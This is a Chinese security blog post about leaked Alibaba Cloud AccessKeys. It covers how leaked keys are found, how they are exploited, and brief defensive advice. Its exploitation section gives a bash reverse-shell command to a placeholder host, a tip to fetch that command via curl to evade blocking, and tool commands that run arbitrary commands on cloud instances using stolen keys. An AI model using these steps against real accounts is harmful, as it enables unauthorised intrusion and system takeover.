freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

由access key泄露浅谈云安全
2021-09-05 13:44:14

accesskey基础

什么是accesskey?

访问密钥AccessKey(AK)相当于登录密码,只是使用场景不同。AccessKey用于程序方式调用云服

务API,而登录密码用于登录控制台。如果您不需要调用API,那么就不需要创建AccessKey。

accessky创建步骤:

使用云账号登录RAM控制台。

在左侧导航栏的人员管理菜单下,单击用户。

在用户登录名称/显示名称列表下,单击目标RAM用户名称。

在用户AccessKey区域下,单击创建AccessKey。

tips:

首次创建时需填写手机验证码。

AccessKey Secret只在创建时显示,不提供查询,请妥善保管。

如果AccessKey泄露或丢失,则需要创建新的AccessKey,最多可以创建2个AccessKey。

accesskey泄露

accesskey泄露主要有两种途径:1.硬编码在代码里 2.第三方存储

获取泄露密钥的方式有很多,和常规的信息收集并无二致。如:

fofa

1630817094_61344b4608b333933df52.png!small?1630817095207

google

1630817168_61344b90bd0432c04c9b8.png!small?1630817169974

github

1630818125_61344f4d587aa973d5ef2.png!small?1630818126810

debug或者报错页面

1630818260_61344fd43559a606672c3.png!small?1630818261357

phpinfo

1630818293_61344ff5e09e3213cd676.png!small?1630818295075

js文件

1630818643_61345153b9bd27f605755.png!small?1630818644900

一种自动化利用方式

github上有accesskey的自动化工具,地址:

https://github.com/mrknow001/aliyun-accesskey-Tools

填入收集到的ID和Secret,获得一个实例ID

1630818682_6134517a5a639a5257e4d.png!small?1630818683539

在工具中尝试bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/1234 0>&1

1630818773_613451d5ce8c051740ed9.png!small?1630818774988

在公网vps上开启监听

1630819005_613452bd0fa9a94ac219a.png!small?1630819006262

最简单的利用如上,但实际情况下这样的bash命令往往会被拦截,这里提供一种思路:

采用curl的方式将反弹命令下载到本地运行

另一个工具:

https://github.com/iiiusky/alicloud-tools/releases

使用方法:

查看所有实例信息:

AliCloud-Tools.exe -a <AccessKey> -s <SecretKey> ecs --list

执行命令:

AliCloud-Tools.exe -a <AccessKey> -s <SecretKey> ecs exec -I <实例ID> -c "执行命令"

供参考

通过云管平台获取权限

步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可

1630819124_61345334a06779046b738.png!small?1630819126078

此处以行云管家为例:

1630819197_6134537dd9cc71301429f.png!small?1630819199006

1630819226_6134539a4966ac8f46739.png!small?1630819227446

1630819273_613453c98e3c105e3d7b0.png!small?1630819274708

1630819294_613453deb6b2563231ce7.png!small?1630819295843

到最后一步即可获取系统权限

accesskey泄露防御方案

针对第二节的泄露途径,我们不难想到一劳永逸的办法是不要在代码里写入accesskey

大概的思路可以是:将acesskey保存在配置中心中,不让开发触碰到accesskey,使用sdk,以其它凭据获取需调用的accesskey。

当然在实际场景中,如nodejs业务不支持accesskey的调用,日志入库需要直接使用accesskey等等情况也不一而足,具体的防御方案实现也离不开具体的场景,本文仅做抛砖引玉,希望给同行提供一种思路,欢迎讨论,谢谢。

# 云安全 # accesskey
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录